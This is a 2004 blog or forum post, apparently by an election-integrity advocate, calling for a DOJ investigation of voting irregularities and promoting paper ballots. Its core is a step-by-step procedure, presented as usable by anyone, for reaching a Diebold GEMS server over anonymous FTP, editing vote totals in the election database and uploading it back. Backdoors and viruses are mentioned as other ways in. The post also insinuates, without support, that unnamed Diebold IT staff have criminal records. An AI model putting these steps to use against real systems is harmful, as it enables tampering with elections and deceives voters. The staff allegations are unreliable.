How to Hack an Election in 90 Seconds

I have have requested the Department of Justice to open up an investigation in Ohio. Ideally, they will start a parallel investigation with GAO into voting irregularities in Ohio, Florida, and North Carolina (http://www.thehill.com/news/11242004/gao.aspx), in addition to these congresspeople:

John Conyers (D-MI)

Jerrold Nadler (D-NY)

Robert Wexler (D-FL)

Robert Scott (D-GA)

Melvin Watt (D-NC)

Rush Holt (D-NJ)

Tammy Baldwin (D-WI)

Louise Slaughter (D-NY)

George Miller (D-CA)

John Olver (D-MA)

Bob Filner (D-CA)

Gregory Meeks (D-NY)

Barbara Lee (D-CA)

Plus

Jan Schakowsky (D-IL)

This story is not going away and it will serve the U.S. well by DOJ initiating an investigation. Here it is in another government publication.

http://gcn.com/vol1_no1/daily-updates/27995-1.html

Other sources from just TODAY, November 24, 2004:
http://msnbc.msn.com/id/6575858/
http://www.buzzflash.com/contributors/04/11/con04514.html
http://www.yubanet.com/artman/publish/article_15601.shtml

We can begin by focusing on the criminal records of the top IT staff at Diebold corporation. I can provide a list of some names if you need them. One has a felony in check fraud (using computers) and another in drug posssseion. Below (Part 1) are nine simple steps anyone can use to change the next election. I am NOT encouraging hacking this or ANY system in ANY way and am providing this to support claims regarding the ease of one person being able to change a national election. Please have any IT person you know to review to see if I am wrong. Part 2 outlines the ease and low cost and integrity benefits of implementing paper voting.
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How to Hack an Election in 90 Seconds
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1) Identify IP address of target computer. Let’s assume 197.66.66.6
(this will not work and is for demo purposes only).
2) From ANY internet-connected computer start DOS window. In Windows XP,
START->RUN->"cmd"

3) ftp 197.66.66.6, for example

4) for ID, "guest"

for password just hit enter

5) lcd C:\Program Files\GEMS\LocalDB

6) receive coloradospringscityelection.mdb

7) log out or stay connected

8) hacker edits this file on own computer using Microsoft Access

a) double-clicks coloradospringscityelection.mdb

b) clicks on TABLE->SumCandidateCounter

c) reverses two numbers in TOTAL VOTES column (keep a vote TOTAL

counts the same)

d) saves and exits

9) reconnects using above, then type "send coloradospringscityelection.mdb"

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DONE

This method gets most recent database structure (with candidates names and other user customizations). Then hacker just needs to reverse the numbers a column or two. Then hacker copies a new edited file on top of target computer’s file. No password needed. All this could be done WHILE election official was using. Changes would not be noticed until next time GEMS program was started. This could be repeated for 10-20 battlegound COUNTIES (not states) on election evening.

Step number one is hardest. However, any Diebold technician would have this info if they worked on machine in office. In addition, this method may be the actual method GEMS database is fixed remotely.
If ftp is passworded then, just need password.
If not using ftp, could use hidden backdoor. Could come in on virus, spyware, manually-opened port.
See, you used to have to be smart to hack, now you just need a little motivation.